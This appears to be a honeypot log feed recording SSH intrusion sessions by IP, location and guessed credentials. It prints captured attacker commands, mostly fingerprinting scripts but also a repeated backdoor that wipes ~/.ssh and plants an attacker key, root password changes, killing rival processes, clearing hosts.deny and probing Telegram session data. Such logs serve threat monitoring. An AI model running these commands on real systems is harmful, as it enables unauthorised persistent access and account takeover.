$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×11

$ busybox uname -s -v -n -m 2 > /dev/null ×11

$ ( [ -f /proc/version ] ×11

$ [ -f /proc/version ] ×11

$ head -1 /proc/version | cut -d -f1 ×11

$ [ -f /etc/os-release ] ×11

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×28

$ uname -m 2 > /dev/null ×28

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×28

🎭 wily_durian_root (8.222.143.123) — Singapore, Singapore · 32 sessions · 32 cmds

2026-06-30 18:16 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 silent_wraith_root (190.112.222.22) — San Pedro, Costa Rica · 1 session · 2 cmds

2026-06-30 19:51 EDT · as oracle/1qaz2wsx

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 zealous_eagle_root_167 (192.3.245.167) — Los Angeles, United States · 1 session · 9 cmds

2026-06-30 18:32 EDT · as root/root

OS fingerprint via uname -a → hardware audit with ifconfig and cat /proc/cpuinfo → cryptomining scan via ps grep patterns → Telegram data enumeration targeting /home/*/.local/share/TelegramDesktop/tdata → failed hardware locate attempt for D877F783D5D3EF8Cs → benign echo command execution

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 restless_anatolia_root (94.154.43.181) — Bursa, Turkey · 1 session · 1 cmd

2026-06-30 17:39 EDT · as root/root

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m

🎭 rusty_echo_sol (195.178.110.30) — Andorra la Vella, Andorra · 1328 sessions · 1328 cmds

2026-05-06 20:24 EDT · as sol/sol, solana/sol, solana/solana

Ran uname 3707x across 3707 sessions — automated OS fingerprinting.

$ /bin/./uname -s -v -n -r -m ×1328

↳ obfuscated system check

🎭 nocturnal_silk_sol (111.228.13.226) — Beijing, China · 1 session · 19 cmds

2026-06-30 14:42 EDT · as root/pass123

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "root:r3gPxwndvOol"|chpasswd|bash → rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh → cat /

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:r3gPxwndvOol"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 unhinged_eagle_root (92.118.39.77) — Dallas, United States · 20 sessions · 100 cmds

2026-06-25 05:10 EDT · as admin/123456, admin/admin, admin/admin123

PATH manipulation via export → OS fingerprinting with uname -s -v -n -m → kernel version extraction from /proc/version → OS detection via /etc/os-release → uptime sampling from /proc/uptime

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ×2

$ uname -s -v -n -m 2 > /dev/null ×20

$ /bin/uname -s -v -n -m 2 > /dev/null ×4

$ /usr/bin/uname -s -v -n -m 2 > /dev/null ×4

$ busybox uname -s -v -n -m 2 > /dev/null ×4

$ ( [ -f /proc/version ] ×4

$ [ -f /proc/version ] ×4

$ head -1 /proc/version | cut -d -f1 ×4

$ [ -f /etc/os-release ] ×4

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ×2

$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ×16

$ uname -m 2 > /dev/null ×16

$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ×16

🎭 derelict_phantom_root (186.10.86.130) — Las Condes, Chile · 1 session · 2 cmds

2026-06-30 14:25 EDT · as oracle/welcome1

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 brisk_lantern_root (124.228.34.69) — Hengyang, China · 1 session · 2 cmds

2026-06-30 14:00 EDT · as oracle/oracle@123456

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 cryptic_dutch_root (45.153.34.161) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-30 13:03 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 6x across 6 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 rabid_silk_root_130 (14.29.198.130) — Shenzhen, China · 2 sessions · 39 cmds

2026-05-17 10:36 EDT · as oracle/123qweasd, root/pass123

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo -e "123qweasd\n0Xk2mdp6CtFE\n0Xk2mdp6CtFE"|passwd|bash

$ Enter new UNIX password:

$ echo "123qweasd\n0Xk2mdp6CtFE\n0Xk2mdp6CtFE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:2PZCwT26SKwP"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

🎭 velvet_silk_root (117.83.248.193) — Nanjing, China · 1 session · 9 cmds

2026-06-30 10:35 EDT · as root/root

/root/root login via velvetsilkroot → OS fingerprinting (uname -a, /ip cloud print) → hardware enumeration (ifconfig, cat /proc/cpuinfo) → cryptominer reconnaissance (ps | grep '[Mm]iner', ps -ef | grep '[Mm]iner') → Telegram desktop data probing (ls -la ~/.local/share/TelegramDesktop/tdata) →

$ /ip cloud print

$ ifconfig

↳ network mapping

$ uname -a

↳ OS/kernel identification

$ cat /proc/cpuinfo

↳ CPU profiling

$ ps | grep '[Mm]iner'

$ ps -ef | grep '[Mm]iner'

$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*

$ locate D877F783D5D3EF8Cs

$ echo Hi | cat -n

🎭 jittery_eagle_root_53 (20.102.98.53) — Boydton, United States · 1 session · 20 cmds

2026-06-30 08:56 EDT · as admin/password

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" → echo -e "password\nUz46

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nUz46ABCTULpj\nUz46ABCTULpj"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nUz46ABCTULpj\nUz46ABCTULpj\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 cryptic_orchid_root_46 (101.47.14.46) — Singapore, Singapore · 1 session · 20 cmds

2026-06-30 08:52 EDT · as admin/password

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H"|passwd|bash → cat /

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nTAlCqKHpGC8H\nTAlCqKHpGC8H\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 arctic_eagle_sol (141.11.88.22) — Crugers, United States · 27 sessions · 27 cmds

2026-06-30 06:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 placid_windmill_root (45.156.87.34) — Eygelshoven, The Netherlands · 46 sessions · 46 cmds

2026-06-15 06:57 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×46

🎭 zealous_star_root (155.103.69.40) — New York, United States · 62 sessions · 62 cmds

2026-06-24 18:07 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 murky_gouda_root (45.156.87.253) — Eygelshoven, Netherlands · 62 sessions · 62 cmds

2026-06-13 21:05 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 35x across 35 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×62

🎭 spectral_samba_root (177.54.62.68) — Criciúma, Brazil · 1 session · 2 cmds

2026-06-30 02:46 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 velvet_peak_root (43.155.72.127) — Hong Kong, Hong Kong · 1 session · 2 cmds

2026-06-30 02:34 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 aloof_markhor_root (203.135.42.52) — Karachi, Pakistan · 1 session · 2 cmds

2026-06-30 02:25 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rusty_husk_root (68.211.177.55) — Santiago, Chile · 1 session · 2 cmds

2026-06-30 02:24 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_liberty_root_184 (104.248.218.184) — Santa Clara, United States · 1 session · 2 cmds

2026-06-30 02:23 EDT · as oracle/Pass1234

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

